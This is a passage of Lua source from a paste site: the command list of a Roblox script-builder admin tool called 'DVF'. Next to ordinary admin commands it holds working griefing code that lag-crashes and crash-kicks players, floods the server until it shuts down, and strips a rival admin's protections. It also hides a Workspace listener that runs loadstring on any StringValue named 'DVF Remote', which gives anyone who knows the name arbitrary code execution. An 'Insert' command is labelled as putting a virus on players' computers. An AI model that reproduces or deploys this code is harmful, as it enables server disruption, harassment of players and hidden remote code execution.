  1551.     Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1552.     Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1553.     Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1554.     Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1555.     Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1556.     Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1557.     Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1558. end)
  1559.  
  1560. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1561.     Dismiss(Speaker.Name)
  1562. end)
  1563.  
  1564. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1565.     local PlrTab = getPlayer(Speaker, Msg)
  1566.     if #PlrTab > 0 then
  1567.         for _,v in pairs(PlrTab) do
  1568.             ypcall(function()
  1569.                 v.Character:BreakJoints()
  1570.                 Ping("Killed "..v.Name, Speaker, 5)
  1571.             end)
  1572.         end
  1573.     end
  1574. end)
  1575.  
  1576. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1577.     local PlrTab = getPlayer(Speaker, Msg)
  1578.     if #PlrTab > 0 then
  1579.         for _,v in pairs(PlrTab) do
  1580.             ypcall(function()
  1581.                 if v.Name ~= Owner then
  1582.                     Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1583.                     Ping("Muted "..v.Name, Speaker, 5)
  1584.                 end
  1585.             end)
  1586.         end
  1587.     end
  1588. end)
  1589.  
  1590. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1591.     local PlrTab = getPlayer(Speaker, Msg)
  1592.     if #PlrTab > 0 then
  1593.         for _,v in pairs(PlrTab) do
  1594.             ypcall(function()
  1595.                 Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1596.                 Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1597.             end)
  1598.         end
  1599.     end
  1600. end)
  1601.  
  1602. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1603.     local PlrTab = getPlayer(Speaker, Msg)
  1604.     if #PlrTab > 0 then
  1605.         for _,v in pairs(PlrTab) do
  1606.             ypcall(function()
  1607.                 Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1608.                 Ping("Mind Jailed "..v.Name, Speaker, 5)
  1609.             end)
  1610.         end
  1611.     end
  1612. end)
  1613.  
  1614. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1615.     local PlrTab = getPlayer(Speaker, Msg)
  1616.     if #PlrTab > 0 then
  1617.         for _,v in pairs(PlrTab) do
  1618.             ypcall(function()
  1619.                 Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1620.                 Ping("Lag Crashing "..v.Name, Speaker, 5)
  1621.             end)
  1622.         end
  1623.     end
  1624. end)
  1625.  
  1626. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1627.     local PlrTab = getPlayer(Speaker, Msg)
  1628.     if #PlrTab > 0 then
  1629.         for _,v in pairs(PlrTab) do
  1630.             ypcall(function()
  1631.                 Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1632.                 Ping("UnMuted "..v.Name, Speaker, 5)
  1633.             end)
  1634.         end
  1635.     end
  1636. end)
  1637.  
  1638. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1639.     local Worked = false
  1640.     for _,v in pairs(Work:GetChildren()) do
  1641.         if string.find(v.Name:lower(), Msg:lower()) then
  1642.             if v:IsA("Script") or v:IsA("LocalScript") then
  1643.                 v.Disabled = true
  1644.                 v:Destroy()
  1645.                 Worked = true
  1646.                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  1647.             end
  1648.         end
  1649.     end
  1650.     if Worked == false then
  1651.         Ping("Script Not Found", Speaker, 5)
  1652.     end
  1653. end)
  1654.  
  1655. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1656.     Dismiss(Speaker)
  1657.     local AllScripts = {}
  1658.     for _,v in pairs(Work:GetChildren()) do
  1659.         if v:IsA("Script") then
  1660.             table.insert(AllScripts, v.Name)
  1661.         end
  1662.     end
  1663.     if #AllScripts > 0 then
  1664.         for _,v in pairs(AllScripts) do
  1665.             Ping(v, Speaker)
  1666.         end
  1667.     else
  1668.         Ping("No Scripts Found", Speaker, 5)
  1669.     end
  1670. end)
  1671.  
  1672. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1673.     Dismiss(Speaker)
  1674.     local LocalScripts = {}
  1675.     for _,v in pairs(All()) do
  1676.         ypcall(function()
  1677.             for _,x in pairs(v.Character:GetChildren()) do
  1678.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1679.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1680.                 end
  1681.             end
  1682.         end)
  1683.         ypcall(function()
  1684.             for _,x in pairs(v.Backpack:GetChildren()) do
  1685.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1686.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1687.                 end
  1688.             end
  1689.         end)
  1690.         ypcall(function()
  1691.             for _,x in pairs(v.PlayerGui:GetChildren()) do
  1692.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1693.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1694.                 end
  1695.             end
  1696.         end)
  1697.     end
  1698.     if #LocalScripts > 0 then
  1699.         for _,v in pairs(LocalScripts) do
  1700.             Ping(v, Speaker)
  1701.         end
  1702.     else
  1703.         Ping("No Local Scripts Found", Speaker, 5)
  1704.     end
  1705. end)
  1706.  
  1707. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1708.     local Split = GetSplit(Msg)
  1709.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1710.     local ScriptName = Msg:sub(Split + 1)
  1711.     local FoundLocal = false
  1712.     for _,name in pairs(PlrTab) do
  1713.         ypcall(function()
  1714.             for _,v in pairs(name.Character:GetChildren()) do
  1715.                 if string.find(v.Name:lower(), ScriptName) then
  1716.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1717.                         v.Disabled = true
  1718.                         v:Destroy()
  1719.                         FoundLocal = true
  1720.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1721.                     end
  1722.                 end
  1723.             end
  1724.         end)
  1725.         ypcall(function()
  1726.             for _,v in pairs(name.Backpack:GetChildren()) do
  1727.                 if string.find(v.Name:lower(), ScriptName) then
  1728.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1729.                         v.Disabled = true
  1730.                         v:Destroy()
  1731.                         FoundLocal = true
  1732.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1733.                     end
  1734.                 end
  1735.             end
  1736.         end)
  1737.         ypcall(function()
  1738.             for _,v in pairs(name.PlayerGui:GetChildren()) do
  1739.                 if string.find(v.Name:lower(), ScriptName) then
  1740.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1741.                         v.Disabled = true
  1742.                         v:Destroy()
  1743.                         FoundLocal = true
  1744.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1745.                     end
  1746.                 end
  1747.             end
  1748.         end)
  1749.         if FoundLocal == false then
  1750.             Ping("Local Script Not Found", Speaker, 5)
  1751.         end
  1752.     end
  1753. end)
  1754.  
  1755. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1756.     for _,v in pairs(game:GetChildren()) do
  1757.         ypcall(function()
  1758.             if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1759.                 for _,a in pairs(v:GetChildren()) do
  1760.                     ypcall(function()
  1761.                         a:Destroy()
  1762.                     end)
  1763.                 end
  1764.             elseif v.Name == "Players" then
  1765.                 for _,plr in pairs(v:GetPlayers()) do
  1766.                     Clear(plr)
  1767.                 end
  1768.             end
  1769.         end)
  1770.     end
  1771.     Clean()
  1772.     Fixl()
  1773.     Ping("Fully Cleaned", Speaker, 5)
  1774. end)
  1775.  
  1776. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1777.     LClean()
  1778.     Fixl()
  1779.     Ping("Lightly Cleaned", Speaker, 5)
  1780. end)
  1781.  
  1782. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1783.     local PlrTab = getPlayer(Speaker, Msg)
  1784.     if #PlrTab > 0 then
  1785.         for _,v in pairs(PlrTab) do
  1786.             ypcall(function()
  1787.                 v:LoadCharacter()
  1788.                 Ping("Reset "..v.Name, Speaker, 5)
  1789.             end)
  1790.         end
  1791.     end
  1792. end)
  1793.  
  1794. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1795.     repeat wait() until Speaker.Character:findFirstChild("Torso")
  1796.     if Work:findFirstChild("Base") then
  1797.         Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1798.     else
  1799.         Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1800.     end
  1801.     Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1802. end)
  1803.  
  1804. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1805.     local PlrTab = getPlayer(Speaker, Msg)
  1806.     if #PlrTab > 0 then
  1807.         for _,v in pairs(PlrTab) do
  1808.             ypcall(function()
  1809.                 v.Character.Torso.Anchored = true
  1810.                 Ping("Froze "..v.Name, Speaker, 5)
  1811.             end)
  1812.         end
  1813.     end
  1814. end)
  1815.  
  1816. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1817.     local PlrTab = getPlayer(Speaker, Msg)
  1818.     if #PlrTab > 0 then
  1819.         for _,v in pairs(PlrTab) do
  1820.             ypcall(function()
  1821.                 for _,v2 in pairs(v.Character:GetChildren()) do
  1822.                     ypcall(function()
  1823.                         v.Anchored = false
  1824.                     end)
  1825.                 end
  1826.                 Ping("Thawed "..v.Name, Speaker, 5)
  1827.             end)
  1828.         end
  1829.     end
  1830. end)
  1831.  
  1832. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1833.     local PlrTab = getPlayer(Speaker, Msg)
  1834.     if #PlrTab > 0 then
  1835.         for _,v in pairs(PlrTab) do
  1836.             ypcall(function()
  1837.                 Instance.new("ForceField", v.Character)
  1838.             end)
  1839.         end
  1840.     end
  1841. end)
  1842.  
  1843. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1844.     local PlrTab = getPlayer(Speaker, Msg)
  1845.     if #PlrTab > 0 then
  1846.         for _,v in pairs(PlrTab) do
  1847.             ypcall(function()
  1848.                 RemObj(v.Character, "ForceField")
  1849.             end)
  1850.         end
  1851.     end
  1852. end)
  1853.  
  1854. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1855.     local Split = GetSplit(Msg)
  1856.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1857.     local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1858.     if #PlrTab > 0 and #PlrTab2 > 0 then
  1859.         for i,v in pairs(PlrTab) do
  1860.             ypcall(function()
  1861.                 for _,v2 in pairs(PlrTab2) do
  1862.                     ypcall(function()
  1863.                         v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1864.                         Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1865.                     end)
  1866.                 end
  1867.             end)
  1868.         end
  1869.     end
  1870. end)
  1871.  
  1872. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1873.     MakeExplorer(Speaker)
  1874. end)
  1875.  
  1876. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1877.     wait()
  1878.     Dismiss(Speaker)
  1879.     NumBanned = 0
  1880.     NumCmds = 0
  1881.     for i = 1, #Rankings do
  1882.         if Rankings[i].Rank < 0 then
  1883.             NumBanned = NumBanned + 1
  1884.         end
  1885.     end
  1886.     for i,v in pairs(Commands) do
  1887.         NumCmds = NumCmds + 1
  1888.     end
  1889.     Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1890.     Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1891.     Ping("Date Started: 18th May 2013", Speaker)
  1892.     Ping("Your ID: "..Speaker.userId, Speaker)
  1893.     Ping("Total Number Of Players: "..#All2(), Speaker)
  1894.     Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1895.     Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1896.     Ping("ShowGarbage", Speaker)
  1897. end)
  1898.  
  1899. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1900.     Dismiss(Speaker)
  1901.     for i,v in pairs(All()) do
  1902.         Ping(v.Name.."'s Rank: "..FindRank(v))
  1903.     end
  1904. end)
  1905.  
  1906. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1907.     local Split = GetSplit(Msg)
  1908.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1909.     local Speed = tonumber(Msg:sub(Split + 1))
  1910.     for _,v in pairs(PlrTab) do
  1911.         ypcall(function()
  1912.             v.Character.Humanoid.WalkSpeed = Speed
  1913.             Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1914.         end)
  1915.     end
  1916. end)
  1917.  
  1918. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1919.     local RemoveAB = Instance.new("StringValue")
  1920.     RemoveAB.Name = "CBA Attachment"
  1921.     RemoveAB.Value = [[CBA.override=true;]]
  1922.     RemoveAB.Parent = Work
  1923.     Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1924. end)
  1925.  
  1926. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1927.     Dismiss(Speaker)
  1928.     for i,v in pairs(Injected) do
  1929.         Ping(i, Speaker)
  1930.     end
  1931. end)
  1932.  
  1933. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1934.     local RemoveCBA = Instance.new("StringValue")
  1935.     RemoveCBA.Name = "CBA Attachment"
  1936.     RemoveCBA.Value = [[CBA.remove = false]]
  1937.     RemoveCBA.Parent = Work
  1938.     Ping("Removed All CBA Admins", Speaker, 5)
  1939. end)
  1940.  
  1941. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1942.     local function BufferOverflow(object)
  1943.         object.DescendantAdded:connect(BufferOverflow)
  1944.         Instance.new("IntValue", object)
  1945.     end
  1946.     BufferOverflow(Game)
  1947. end)
  1948.  
  1949. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  1950.     if asd.ClassName == 'StringValue' then
  1951.         if asd.Name == "DVF Remote" then
  1952.             local func = loadstring(asd.Value)
  1953.             if func then asd:Destroy() return pcall(func) end
  1954.         end asd:Destroy()
  1955.     end
  1956. end)
  1957.  
  1958. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1959.     local PlrTab = getPlayer(Speaker, Msg)
  1960.     if #PlrTab > 0 then
  1961.         for _,v in pairs(PlrTab) do
  1962.             ypcall(function()
  1963.                 Crash1(v)
  1964.                 Ping("Crash Kicked "..v.Name, Speaker, 5)
  1965.             end)
  1966.         end
  1967.     end
  1968. end)
  1969.  
  1970. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1971.     local PlrTab = getPlayer(Speaker, Msg)
  1972.     if #PlrTab > 0 then
  1973.         for _,v in pairs(PlrTab) do
  1974.             ypcall(function()
  1975.                 ChangeRank(v, -1)
  1976.             end)
  1977.         end
  1978.     end
  1979. end)
  1980.  
  1981. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1982.     local PlrTab = getPlayer(Speaker, Msg)
  1983.     if #PlrTab > 0 then
  1984.         for _,v in pairs(PlrTab) do
  1985.             ypcall(function()
  1986.                 ChangeRank(v, -2)
  1987.             end)
  1988.         end
  1989.     end
  1990. end)
  1991.  
  1992. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1993.     local PlrTab = getPlayer(Speaker, Msg)
  1994.     if #PlrTab > 0 then
  1995.         for _,v in pairs(PlrTab) do
  1996.             ypcall(function()
  1997.                 ChangeRank(v, -3)
  1998.             end)
  1999.         end
  2000.     end
  2001. end)
  2002.  
  2003. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2004.     ypcall(function()
  2005.         local PlrTab = getPlayer(Speaker, Msg)
  2006.         if #PlrTab > 0 then
  2007.             for _,v in pairs(PlrTab) do
  2008.                 ypcall(function()
  2009.                     Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2010.                 end)
  2011.             end
  2012.         end
  2013.         local PlrName = ChangeRank(Msg, 0)
  2014.         Ping("Un-Banned "..PlrName, Speaker, 5)
  2015.     end)
  2016. end)
  2017.  
  2018. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2019.     Dismiss(Speaker)
  2020.     Ping("Commands", Speaker, nil, function()
  2021.         Dismiss(Speaker.Name)
  2022.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2023.         Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2024.         Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2025.         Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2026.         Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2027.         Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2028.         Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2029.         Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2030.     end)
  2031.     Ping("Players", Speaker, nil, function()
  2032.         ListPlayers(Speaker)
  2033.     end)
  2034. end)
  2035.  
  2036. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2037.     ListPlayers(Speaker)
  2038. end)
  2039.  
  2040. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2041.     local Func,Error = loadstring(Msg)
  2042.     getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2043.     getfenv(Func).Speaker = Speaker
  2044.     if Error == nil then
  2045.         coroutine.wrap(function()
  2046.             Func()
  2047.         end)()
  2048.         Ping("Executed Script!", Speaker, 5)
  2049.     else
  2050.         Ping(Error, Speaker, 10)
  2051.     end
  2052. end)
  2053.  
  2054. Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
  2055.     if LS ~= nil then
  2056.         local Split = GetSplit(Msg)
  2057.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2058.         local LocalSource = Msg:sub(Split + 1)
  2059.         if #PlrTab > 0 then
  2060.             for _,v in pairs(PlrTab) do
  2061.                 local Inserted = LS:Clone()
  2062.                 Inserted.Disabled = true
  2063.                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2064.                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2065.                     Inserted:findFirstChild(OwnSource).Value = v.Name
  2066.                 end
  2067.                 Inserted[LSSource].Value = LocalSource
  2068.                 Inserted.Disabled = false
  2069.             end
  2070.         end
  2071.     else
  2072.         Ping("ERROR: Local Script Not Found", Speaker, 5)
  2073.     end
  2074. end)
  2075.  
  2076. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2077.     Msg = tostring(Msg)
  2078.     Ping(Msg, Speaker)
  2079. end)
  2080.  
  2081. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2082.     Dismiss(Speaker)
  2083.     for i,v in pairs(getfenv(1)) do
  2084.         ypcall(function()
  2085.             Ping(tostring(i)..": "..tostring(v), Speaker)
  2086.         end)
  2087.     end
  2088. end)
  2089.  
  2090. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2091.     Dismiss()
  2092.     Removed = true
  2093.     for i,v in pairs(getfenv(1)) do
  2094.         getfenv(1)[i] = nil
  2095.     end
  2096.     script.Disabled = true
  2097. end)
  2098.  
  2099. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2100.     local Split = GetSplit(Msg)
  2101.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2102.     local Rank = tonumber(Msg:sub(Split + 1))
  2103.     if #PlrTab > 0 then
  2104.         for _,v in pairs(PlrTab) do
  2105.             if v.Name ~= Owner then
  2106.                 ChangeRank(v, Rank)
  2107.                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2108.             end
  2109.         end
  2110.     end
  2111. end)
  2112.  
  2113. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement